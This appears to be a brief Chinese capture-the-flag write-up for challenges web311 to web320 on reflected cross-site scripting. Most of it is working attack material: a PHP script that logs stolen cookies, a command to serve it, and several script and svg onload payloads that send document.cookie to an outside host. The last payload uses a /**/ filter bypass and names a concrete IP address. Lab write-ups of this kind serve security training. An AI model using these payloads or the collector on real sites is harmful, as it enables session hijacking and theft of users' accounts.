web311
web312
web313
web314
web315
web316
反射型xss
方法一：利用在线平台https://xssaq.com/dashboard
方法二：自己搭服务器，用来接受cookie
<?php$cookie = $_GET['cookie'];$time = date('Y-m-d h:i:s', time());$log = fopen("cookie.txt", "a");fwrite($log,$time.': '. $cookie . "\n");fclose($log);
?>
使用python开一个web服务python3 -m http.server
反弹 cookie：<script>document.location.href='http://ip+prot/xss.php?cookie='+document.cookie</script>
web317
<script>被禁用了,<svg src=x onload=alert(1)>可以绕过
反弹cookie
<svg onload=window.location.href='http://ip:port/xss.php?c='+document.cookie;>
web318
发现<svg src=x onload=alert(1)>还是可以使用
直接用上一关的payload
web319
发现<svg src=x onload=alert(1)>依旧可以使用
用之前的payload
web320
使用<h1>标签发现过滤了空格，使用/**/代替
<svg/**/onload=window.location.href='http://115.190.219.100:8080/xss.php?c='+document.cookie;>
